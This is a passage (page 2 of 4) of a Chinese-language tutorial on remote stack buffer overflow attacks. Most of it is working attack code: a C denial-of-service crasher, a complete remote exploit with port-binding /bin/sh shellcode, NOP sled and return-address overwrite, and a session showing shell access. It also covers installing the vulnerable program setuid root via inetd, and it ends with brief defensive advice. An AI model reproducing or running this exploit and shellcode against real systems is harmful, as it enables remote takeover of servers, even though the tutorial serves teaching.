|
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAA
连接将中断,让我们看看gdb的输出: Program received signal SIGSEGV, Segmentation fault. 0x41414141 in ?? () (gdb) // Don’t close gdb !! 能够看出 eip 被设到了 0x41414141。0x41 代表一个"A",当我们输入1024个字节时,该程序会试图将字符串name[2048]拷入缓冲[1024]。因此,由于 name[2048] 大于1024字节,name 将会重写缓冲并重写已被存储的 eip,我们的缓冲将会是下列形式: [xxxxxxxx-name-2048-bytes-xxxxxxxxxx] [xxxxx buffer-only-1024-bytes xxx] [EIP] 在你重写了整个返回地址后,函数将会跳转到错误的地址 0x41414141,从而产生片断错误。 现在为此程序写一个拒绝服务攻击工具: --------------------------------dos.c---------------------------------------- #include <stdio.h> #include <netinet/in.h> #include <sys/socket.h> #include <sys/types.h> #include <netdb.h> int main(int argc, char **argv) { struct sockaddr_in addr; struct hostent *host; char buffer[2048]; int s, i; if(argc != 3) { fprintf(stderr, "usage: %s <host> <port>\n", argv[0]); exit(0); } s = socket(AF_INET, SOCK_STREAM, 0); if(s == -1) { perror("socket() failed\n"); exit(0); } host = gethostbyname(argv[1]); if( host == NULL) { herror("gethostbyname() failed"); exit(0); } addr.sin_addr = *(struct in_addr*)host->h_addr; addr.sin_family = AF_INET; addr.sin_port = htons(atol(argv[2])); if(connect(s, &addr, sizeof(addr)) == -1) { perror("couldn't connect so server\n"); exit(0); }
/* Not difficult only filling buffer with A’s.... den sending nothing more */
for(i = 0; i < 2048 ; i++) buffer[i] = 'A'; printf("buffer is: %s\n", buffer); printf("buffer filled... now sending buffer\n"); send(s, buffer, strlen(buffer), 0); printf("buffer sent.\n"); close(s); return 0; } -------------------------------------EOF--------------------------------------
三、找到返回地址:
打开gdb寻找 esp: (gdb) x/200bx $esp-200 0xbffff5cc: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0xbffff5d4: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0xbffff5dc: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0xbffff5e4: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0xbffff5ec: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0xbffff5f4: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0xbffff5fc: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0xbffff604: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0xbffff60c: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0xbffff614: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0xbffff61c: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0xbffff624: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0xbffff62c: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0xbffff634: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0xbffff63c: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0xbffff644: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0xbffff64c: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0xbffff654: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0xbffff65c: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0xbffff664: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0xbffff66c: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0xbffff674: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0xbffff67c: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41 ---Type <return> to continue, or q <return> to quit---
现在我们已经知道重写了整个缓冲,让我们试试几个地址
四、exploit代码结构
1、 找到 esp,然后找一个能绑定 shell 到端口的 sehllcode. 2、创建一个大于1024字节的缓冲 2、 用 NOP 填滿整个缓冲: memset(buffer, 0x90, 1064); 3、将 shellcode 拷入缓冲 memcpy(buffer+1001-sizeof(shellcode), shellcode, sizeof(shellcode)); 4、在缓冲中消除零字节: buffer[1000] = 0x90; // 0x90 is the NOP in hexadecimal 5、在缓冲未端拷贝返回地址: for(i = 1022; i < 1059; i+=4) { ((int *) &buffer[i]) = RET; // RET is the returnaddress we want to use... #define in the header } 6、在准备好的缓冲未端加入一个 \0 零字节: buffer[1063] = 0x0; 现在可以把它发送给有漏洞机器了。 ------------------------------------exploit.c---------------------------------- /* Simple remote exploit, which binds a shell on port 3789 * by triton * * After return address was overwritten, you can connect * with telnet or netcat to the victim host on Port 3789 * After you logged in... there’s nothing, but try to enter "id;" (don’t forget the semicolon) * So you should get an output, ok you’ve got a shell *g*. Always use: * * <command>; * * execute. */ #include <stdio.h> #include <netdb.h> #include <netinet/in.h> //Portbinding Shellcode char shellcode[] = "\x89\xe5\x31\xd2\xb2\x66\x89\xd0\x31\xc9\x89\xcb\x43\x89\x5d\xf8" "\x43\x89\x5d\xf4\x4b\x89\x4d\xfc\x8d\x4d\xf4\xcd\x80\x31\xc9\x89" "\x45\xf4\x43\x66\x89\x5d\xec\x66\xc7\x45\xee\x0f\x27\x89\x4d\xf0" "\x8d\x45\xec\x89\x45\xf8\xc6\x45\xfc\x10\x89\xd0\x8d\x4d\xf4\xcd" "\x80\x89\xd0\x43\x43\xcd\x80\x89\xd0\x43\xcd\x80\x89\xc3\x31\xc9" "\xb2\x3f\x89\xd0\xcd\x80\x89\xd0\x41\xcd\x80\xeb\x18\x5e\x89\x75" "\x08\x31\xc0\x88\x46\x07\x89\x45\x0c\xb0\x0b\x89\xf3\x8d\x4d\x08" "\x8d\x55\x0c\xcd\x80\xe8\xe3\xff\xff\xff/bin/sh"; //standard offset (probably must be modified) #define RET 0xbffff5ec int main(int argc, char *argv[]) { char buffer[1064]; int s, i, size; struct sockaddr_in remote; struct hostent *host; if(argc != 3) { printf("Usage: %s target-ip port\n", argv[0]); return -1; } // filling buffer with NOPs memset(buffer, 0x90, 1064); //copying shellcode into buffer memcpy(buffer+1001-sizeof(shellcode) , shellcode, sizeof(shellcode)); // the previous statement causes a unintential Nullbyte at buffer[1000] buffer[1000] = 0x90; // Copying the return address multiple times at the end of the buffer... for(i=1022; i < 1059; i+=4) { * ((int *) &buffer[i]) = RET; } buffer[1063] = 0x0; //getting hostname host=gethostbyname(argv[1]); if (host==NULL) { fprintf(stderr, "Unknown Host %s\n",argv[1]); return -1; } // creating socket... s = socket(AF_INET, SOCK_STREAM, 0); if (s < 0) { fprintf(stderr, "Error: Socket\n"); return -1; } //state Protocolfamily , then converting the hostname or IP address, and getting port number remote.sin_family = AF_INET; remote.sin_addr = *((struct in_addr *)host->h_addr); remote.sin_port = htons(atoi(argv[2])); // connecting with destination host if (connect(s, (struct sockaddr *)&remote, sizeof(remote))==-1) { close(s); fprintf(stderr, "Error: connect\n"); return -1; } //sending exploit string size = send(s, buffer, sizeof(buffer), 0); if (size==-1) { close(s); fprintf(stderr, "sending data failed\n"); return -1; } // closing socket close(s); } ---------------------------------------EOF------------------------------------- 五、使用 exploit: vitter@linux~/ > gcc exploit.c -o exploit vitter@linux~/ > ./exploit <host> <port> 如果你得到了正确的返回地址,它将管用。 vitter@linux~/ > telnet <host> 3879 id; uid=500(vitter) gid=500(vitter) groups=500(vitter) 可以看出,我们成功了。
六、取得 root 权限:
vitter@linux~/ > su password: ****** root@linux~/ > ls -ln vulnerable -rwxrwxr-x 1 500 500 14106 Jun 18 14:12 vulnerable root@linux~/ > chown root vulnerable root@linux~/ > chmod 6755 vulnerable root@linux~/ > ./vulnerable <port>
七、进入 inetd.conf 中定义的服务
将有漏洞程序拷入 /usr/bin/ root@linux~/ > cp vulnerable /usr/bin/vulnerable root@linux~/ > vi /etc/services 加入下面的信息: vulnerable 1526/tcp # defining port for our server program root@linux~/ > vi /etc/inetd.conf 加入下面的信息: vulnerable stream tcp nowait root /usr/bin/vulnerable vulnerable 1526 重启 inetd: root@linux~/ > killall -HUP inetd
八、可能出现的问题:
如果 exploit 无法使用,请考虑返回地址,用gdb进行测试: vitter@linux~/ > gdb vulnerable ...... (gdb) run <port>
以上代码参考《怎样写远程缓冲区溢出漏洞利用程序》
缓冲区溢出攻击的对策: 加强编程行为的安全性 从开始程序设计就要考虑到安全 考虑用安全的编译器 当用户或其他程序接受输入的时候必须验证参数的有效性。包括对变量的边界检查,特别是环境变量。 使用fget()、strncpy()、strncat()之类的安全例程,并检查每个系统调用的返回值
共4页: 上一页 [1] 2 [3] [4] 下一页
|